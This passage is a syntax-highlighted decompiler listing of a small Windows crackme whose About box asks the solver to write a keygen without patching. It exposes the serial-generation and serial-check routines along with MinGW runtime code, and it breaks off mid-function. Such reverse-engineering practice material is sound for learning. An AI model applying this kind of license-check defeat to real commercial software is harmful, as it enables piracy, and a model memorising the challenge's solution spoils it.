</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">__int64</span> <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">generaNumero</span>(<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>a1)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> i; <span style="color:#75715e">// [rsp+28h] [rbp-58h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v3; <span style="color:#75715e">// [rsp+2Ch] [rbp-54h]
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> v3 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> ( i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672"><</span> <span style="color:#a6e22e">strlen</span>(a1); <span style="color:#f92672">++</span>i )
</span></span><span style="display:flex;"><span> v3 <span style="color:#f92672">+=</span> a1[i];
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Numero: %d"</span>, v3 <span style="color:#f92672">+</span> <span style="color:#ae81ff">6572</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> (v3 <span style="color:#f92672">+</span> <span style="color:#ae81ff">6572</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000401746) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">generaSerial</span>(<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>a1, <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>a2)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v3[<span style="color:#ae81ff">16</span>]; <span style="color:#75715e">// [rsp+40h] [rbp-50h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v4[<span style="color:#ae81ff">16</span>]; <span style="color:#75715e">// [rsp+50h] [rbp-40h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v5[<span style="color:#ae81ff">16</span>]; <span style="color:#75715e">// [rsp+60h] [rbp-30h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v6[<span style="color:#ae81ff">16</span>]; <span style="color:#75715e">// [rsp+70h] [rbp-20h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v7[<span style="color:#ae81ff">12</span>]; <span style="color:#75715e">// [rsp+80h] [rbp-10h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v8; <span style="color:#75715e">// [rsp+8Ch] [rbp-4h]
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> v8 <span style="color:#f92672">=</span> <span style="color:#a6e22e">generaNumero</span>(a1);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">generaLetras</span>(v8, v7);
</span></span><span style="display:flex;"><span> v8 <span style="color:#f92672">=</span> <span style="color:#a6e22e">generaNumero</span>(v7);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">generaLetras</span>(v8, v6);
</span></span><span style="display:flex;"><span> v8 <span style="color:#f92672">=</span> <span style="color:#a6e22e">generaNumero</span>(v6);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">generaLetras</span>(v8, v5);
</span></span><span style="display:flex;"><span> v8 <span style="color:#f92672">=</span> <span style="color:#a6e22e">generaNumero</span>(v5);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">generaLetras</span>(v8, v4);
</span></span><span style="display:flex;"><span> v8 <span style="color:#f92672">=</span> <span style="color:#a6e22e">generaNumero</span>(v4);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">generaLetras</span>(v8, v3);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">sprintf</span>(a2, <span style="color:#e6db74">"%s-%s-%s-%s-%s"</span>, v7, v6, v5, v4, v3);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (000000000040182D) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">checkSerial</span>(<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>a1, <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>a2)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">size_t</span> v2; <span style="color:#75715e">// rbx
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">size_t</span> v3; <span style="color:#75715e">// rax
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> i; <span style="color:#75715e">// [rsp+28h] [rbp-58h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v6; <span style="color:#75715e">// [rsp+2Fh] [rbp-51h]
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> v6 <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> v2 <span style="color:#f92672">=</span> <span style="color:#a6e22e">strlen</span>(a1);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v2 <span style="color:#f92672">==</span> <span style="color:#a6e22e">strlen</span>(a2) )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> ( i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; ; <span style="color:#f92672">++</span>i )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v3 <span style="color:#f92672">=</span> <span style="color:#a6e22e">strlen</span>(a2);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( i <span style="color:#f92672">>=</span> v3 )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( a1[i] <span style="color:#f92672">!=</span> a2[i] )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">LODWORD</span>(v3) <span style="color:#f92672">=</span> <span style="color:#a6e22e">MessageBoxA</span>(<span style="color:#ae81ff">0LL</span>, <span style="color:#e6db74">"Nope sigue intentando"</span>, <span style="color:#e6db74">"Nop"</span>, <span style="color:#ae81ff">0x30u</span>);
</span></span><span style="display:flex;"><span> v6 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v6 )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">LODWORD</span>(v3) <span style="color:#f92672">=</span> <span style="color:#a6e22e">MessageBoxA</span>(<span style="color:#ae81ff">0LL</span>, <span style="color:#e6db74">"Genial lo lograste"</span>, <span style="color:#e6db74">"Felicitaciones"</span>, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">MessageBoxA</span>(<span style="color:#ae81ff">0LL</span>, <span style="color:#e6db74">"Nope sigue intentando"</span>, <span style="color:#e6db74">"Nop"</span>, <span style="color:#ae81ff">0x30u</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">LODWORD</span>(v3) <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> v3;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (000000000040192F) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span>INT_PTR <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">DialogProc</span>(HWND a1, <span style="color:#66d9ef">int</span> a2, <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">__int16</span> a3)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v4[<span style="color:#ae81ff">32</span>]; <span style="color:#75715e">// [rsp+20h] [rbp-60h] BYREF
</span></span></span><span style="display:flex;"><span> CHAR v5[<span style="color:#ae81ff">32</span>]; <span style="color:#75715e">// [rsp+40h] [rbp-40h] BYREF
</span></span></span><span style="display:flex;"><span> CHAR String[<span style="color:#ae81ff">28</span>]; <span style="color:#75715e">// [rsp+60h] [rbp-20h] BYREF
</span></span></span><span style="display:flex;"><span> UINT DlgItemTextA; <span style="color:#75715e">// [rsp+7Ch] [rbp-4h]
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> DlgItemTextA <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">switch</span> ( a2 )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">case</span> <span style="color:#ae81ff">272</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">1LL</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">case</span> <span style="color:#ae81ff">273</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( a3 <span style="color:#f92672">==</span> <span style="color:#ae81ff">40000</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> DlgItemTextA <span style="color:#f92672">=</span> <span style="color:#a6e22e">GetDlgItemTextA</span>(a1, <span style="color:#ae81ff">40002</span>, String, <span style="color:#ae81ff">20</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( DlgItemTextA )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> DlgItemTextA <span style="color:#f92672">=</span> <span style="color:#a6e22e">GetDlgItemTextA</span>(a1, <span style="color:#ae81ff">40003</span>, v5, <span style="color:#ae81ff">30</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( DlgItemTextA )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">generaSerial</span>(String, v4);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">checkSerial</span>(v5, v4);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">1LL</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">MessageBoxA</span>(a1, <span style="color:#e6db74">"Nope sigue intentando"</span>, <span style="color:#e6db74">"Nop"</span>, <span style="color:#ae81ff">0x30u</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">MessageBoxA</span>(a1, <span style="color:#e6db74">"Nope sigue intentando"</span>, <span style="color:#e6db74">"Nop"</span>, <span style="color:#ae81ff">0x30u</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">if</span> ( a3 <span style="color:#f92672">==</span> <span style="color:#ae81ff">40006</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">MessageBoxA</span>(a1, <span style="color:#e6db74">"keygeneame si puedes</span><span style="color:#ae81ff">\n\n</span><span style="color:#e6db74">El objetivo es crear el keygen sin parchear nada"</span>, <span style="color:#e6db74">"About"</span>, <span style="color:#ae81ff">0x40u</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">1LL</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">1LL</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">case</span> <span style="color:#ae81ff">16</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">EndDialog</span>(a1, <span style="color:#ae81ff">0LL</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">1LL</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">default</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0LL</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000401AA6) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__stdcall</span> <span style="color:#a6e22e">WinMain</span>(HINSTANCE hInst, HINSTANCE hPreInst, LPSTR lpszCmdLine, <span style="color:#66d9ef">int</span> nCmdShow)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> tagMSG Msg; <span style="color:#75715e">// [rsp+30h] [rbp-40h] BYREF
</span></span></span><span style="display:flex;"><span> HMENU hMenu; <span style="color:#75715e">// [rsp+60h] [rbp-10h]
</span></span></span><span style="display:flex;"><span> HWND hWnd; <span style="color:#75715e">// [rsp+68h] [rbp-8h]
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> hWnd <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateDialogParamA</span>(hInst, <span style="color:#ae81ff">102</span>, <span style="color:#ae81ff">0LL</span>, DialogProc, <span style="color:#ae81ff">0LL</span>);
</span></span><span style="display:flex;"><span> hMenu <span style="color:#f92672">=</span> <span style="color:#a6e22e">LoadMenuA</span>(hInst, <span style="color:#ae81ff">0x69</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">SetMenu</span>(hWnd, hMenu);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">ShowWindow</span>(hWnd, <span style="color:#ae81ff">10</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> ( <span style="color:#a6e22e">GetMessageA</span>(<span style="color:#f92672">&</span>Msg, <span style="color:#ae81ff">0LL</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>) <span style="color:#f92672">></span> <span style="color:#ae81ff">0</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span><span style="color:#a6e22e">IsDialogMessageA</span>(hWnd, <span style="color:#f92672">&</span>Msg) )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">TranslateMessage</span>(<span style="color:#f92672">&</span>Msg);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">DispatchMessageA</span>(<span style="color:#f92672">&</span>Msg);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000401BA0) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span><span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">decode_pointer</span>(<span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>codedptr)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> codedptr;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000401BB0) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span><span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">encode_pointer</span>(<span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>ptr)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> ptr;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000401BC0) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">setargv</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000401BD0) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">_mingw_raise_matherr</span>(<span style="color:#66d9ef">int</span> typ, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>name, <span style="color:#66d9ef">double</span> a3, <span style="color:#66d9ef">double</span> a1, <span style="color:#66d9ef">double</span> rslt)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> _exception ex; <span style="color:#75715e">// [rsp+20h] [rbp-38h] BYREF
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( stUserMathErr )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> ex.type <span style="color:#f92672">=</span> typ;
</span></span><span style="display:flex;"><span> ex.name <span style="color:#f92672">=</span> name;
</span></span><span style="display:flex;"><span> ex.arg1 <span style="color:#f92672">=</span> a3;
</span></span><span style="display:flex;"><span> ex.arg2 <span style="color:#f92672">=</span> a1;
</span></span><span style="display:flex;"><span> ex.retval <span style="color:#f92672">=</span> rslt;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">stUserMathErr</span>(<span style="color:#f92672">&</span>ex);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000401C20) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">_mingw_setusermatherr</span>(<span style="color:#66d9ef">int</span> (<span style="color:#f92672">*</span>f)(_exception <span style="color:#f92672">*</span>))
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> stUserMathErr <span style="color:#f92672">=</span> f;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">_setusermatherr</span>(f);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000401C30) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">matherr</span>(_exception <span style="color:#f92672">*</span>pexcept)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>v1; <span style="color:#75715e">// rbx
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">double</span> retval; <span style="color:#75715e">// xmm8_8
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>name; <span style="color:#75715e">// rsi
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">double</span> arg2; <span style="color:#75715e">// xmm7_8
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">double</span> arg1; <span style="color:#75715e">// xmm6_8
</span></span></span><span style="display:flex;"><span> FILE <span style="color:#f92672">*</span>v6; <span style="color:#75715e">// rax
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">switch</span> ( pexcept<span style="color:#f92672">-></span>type )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">case</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span> v1 <span style="color:#f92672">=</span> <span style="color:#e6db74">"Argument domain error (DOMAIN)"</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">case</span> <span style="color:#ae81ff">2</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span> v1 <span style="color:#f92672">=</span> <span style="color:#e6db74">"Argument singularity (SIGN)"</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">case</span> <span style="color:#ae81ff">3</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span> v1 <span style="color:#f92672">=</span> <span style="color:#e6db74">"Overflow range error (OVERFLOW)"</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">case</span> <span style="color:#ae81ff">4</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span> v1 <span style="color:#f92672">=</span> <span style="color:#e6db74">"The result is too small to be represented (UNDERFLOW)"</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">case</span> <span style="color:#ae81ff">5</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span> v1 <span style="color:#f92672">=</span> <span style="color:#e6db74">"Total loss of significance (TLOSS)"</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">case</span> <span style="color:#ae81ff">6</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span> v1 <span style="color:#f92672">=</span> <span style="color:#e6db74">"Partial loss of significance (PLOSS)"</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">default</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span> v1 <span style="color:#f92672">=</span> <span style="color:#e6db74">"Unknown error"</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> retval <span style="color:#f92672">=</span> pexcept<span style="color:#f92672">-></span>retval;
</span></span><span style="display:flex;"><span> name <span style="color:#f92672">=</span> pexcept<span style="color:#f92672">-></span>name;
</span></span><span style="display:flex;"><span> arg2 <span style="color:#f92672">=</span> pexcept<span style="color:#f92672">-></span>arg2;
</span></span><span style="display:flex;"><span> arg1 <span style="color:#f92672">=</span> pexcept<span style="color:#f92672">-></span>arg1;
</span></span><span style="display:flex;"><span> v6 <span style="color:#f92672">=</span> <span style="color:#a6e22e">_iob_func</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fprintf</span>(v6 <span style="color:#f92672">+</span> <span style="color:#ae81ff">2</span>, <span style="color:#e6db74">"_matherr(): %s in %s(%g, %g) (retval=%g)</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, v1, name, arg1, arg2, retval);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000401D30) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> __noreturn <span style="color:#a6e22e">_report_error</span>(<span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>msg, ...)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> FILE <span style="color:#f92672">*</span>v2; <span style="color:#75715e">// rax
</span></span></span><span style="display:flex;"><span> FILE <span style="color:#f92672">*</span>v3; <span style="color:#75715e">// rax
</span></span></span><span style="display:flex;"><span> va_list va; <span style="color:#75715e">// [rsp+58h] [rbp+10h] BYREF
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">va_start</span>(va, msg);
</span></span><span style="display:flex;"><span> v2 <span style="color:#f92672">=</span> <span style="color:#a6e22e">_iob_func</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fwrite</span>(<span style="color:#e6db74">"Mingw-w64 runtime failure:</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, <span style="color:#ae81ff">1uLL</span>, <span style="color:#ae81ff">0x1BuLL</span>, v2 <span style="color:#f92672">+</span> <span style="color:#ae81ff">2</span>);
</span></span><span style="display:flex;"><span> v3 <span style="color:#f92672">=</span> <span style="color:#a6e22e">_iob_func</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">vfprintf</span>(v3 <span style="color:#f92672">+</span> <span style="color:#ae81ff">2</span>, msg, va);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">abort</span>();
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000401DA0) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">_write_memory_part_0</span>(<span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>addr, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>src, <span style="color:#66d9ef">size_t</span> len)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">__int64</span> v3; <span style="color:#75715e">// rbp
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v7; <span style="color:#75715e">// r9d
</span></span></span><span style="display:flex;"><span> PBYTE <span style="color:#f92672">*</span>p_sec_start; <span style="color:#75715e">// rax
</span></span></span><span style="display:flex;"><span> PIMAGE_SECTION_HEADER SectionForAddress; <span style="color:#75715e">// rax
</span></span></span><span style="display:flex;"><span> PIMAGE_SECTION_HEADER v10; <span style="color:#75715e">// r12
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">__int64</span> v11; <span style="color:#75715e">// rbp
</span></span></span><span style="display:flex;"><span> sSecInfo <span style="color:#f92672">*</span>v12; <span style="color:#75715e">// r13
</span></span></span><span style="display:flex;"><span> DWORD LastError; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">struct</span> _MEMORY_BASIC_INFORMATION Buffer; <span style="color:#75715e">// [rsp+20h] [rbp-68h] BYREF
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> v3 <span style="color:#f92672">=</span> maxSections;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( maxSections <span style="color:#f92672"><=</span> <span style="color:#ae81ff">0</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v3 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0LL</span>;
</span></span><span style="display:flex;"><span>LABEL_6:
</span></span><span style="display:flex;"><span> SectionForAddress <span style="color:#f92672">=</span> <span style="color:#a6e22e">_mingw_GetSectionForAddress</span>(addr);
</span></span><span style="display:flex;"><span> v10 <span style="color:#f92672">=</span> SectionForAddress;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span>SectionForAddress )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">_report_error</span>(<span style="color:#e6db74">"Address %p has no image-section"</span>, addr);
</span></span><span style="display:flex;"><span> v11 <span style="color:#f92672">=</span> v3;
</span></span><span style="display:flex;"><span> v12 <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>the_secs[v11];
</span></span><span style="display:flex;"><span> v12<span style="color:#f92672">-></span>hash <span style="color:#f92672">=</span> SectionForAddress;
</span></span><span style="display:flex;"><span> v12<span style="color:#f92672">-></span>old_protect <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> v12<span style="color:#f92672">-></span>sec_start <span style="color:#f92672">=</span> <span style="color:#f92672">&</span><span style="color:#a6e22e">GetPEImageBase</span>()[SectionForAddress<span style="color:#f92672">-></span>VirtualAddress];
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span><span style="color:#a6e22e">VirtualQuery</span>(the_secs[v11].sec_start, <span style="color:#f92672">&</span>Buffer, <span style="color:#ae81ff">0x30uLL</span>) )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">_report_error</span>(
</span></span><span style="display:flex;"><span> <span style="color:#e6db74">" VirtualQuery failed for %d bytes at address %p"</span>,
</span></span><span style="display:flex;"><span> v10<span style="color:#f92672">-></span>Misc.PhysicalAddress,
</span></span><span style="display:flex;"><span> the_secs[v11].sec_start);
